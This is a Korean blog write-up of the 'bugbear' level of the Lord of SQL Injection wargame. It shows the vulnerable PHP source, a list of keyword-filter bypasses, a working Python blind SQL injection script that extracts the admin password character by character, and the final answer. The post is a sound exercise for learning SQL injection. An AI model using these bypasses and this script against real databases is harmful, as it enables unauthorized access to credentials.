728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
쿼리 실행결과가 참이면 Hello admin을 출력하는 것을 근거로 Blind SQL Injection을 수행한다.
or 연산자는 ||
공백은 ()
=은 in
'는 "
and는 %26%26
으로 우회한다.
import requests
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'
#16
def find_pw_len():
pw_len=1
while True:
r=requests.get(url+'?no=123||(id)in("admin")%26%26length(hex(pw))in({})'.format(pw_len),cookies=cookie)
if 'Hello admin' in r.text:
return pw_len
else:
pw_len+=1
#52dc3991
def find_pw():
pw_len=find_pw_len()
tmp=''
for i in range(1,pw_len+1):
for j in HEX:
r=requests.get(url+'?no=123||(id)in("admin")%26%26mid(hex(pw),{},1)in("{}")'.format(i,j),cookies=cookie)
if 'Hello admin' in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_pw()
답: ?pw=52dc3991
참고) mysql의 hex 함수는 16진수를 반환하는데 0x를 붙이지 않은 형태로 반환한다.
ex) select hex('a')in(0x61) -> 0 반환, select hex('a')in(61) -> 1 반환
python에서 hex 함수는 0x를 붙인 형태로 반환한다.
728x90
'Lord of SQL Injection' 카테고리의 다른 글
assassin (0) | 2022.12.23 |
---|---|
giant (0) | 2022.12.23 |
darkknight (0) | 2022.12.22 |
golem (0) | 2022.12.22 |
skeleton (0) | 2022.12.22 |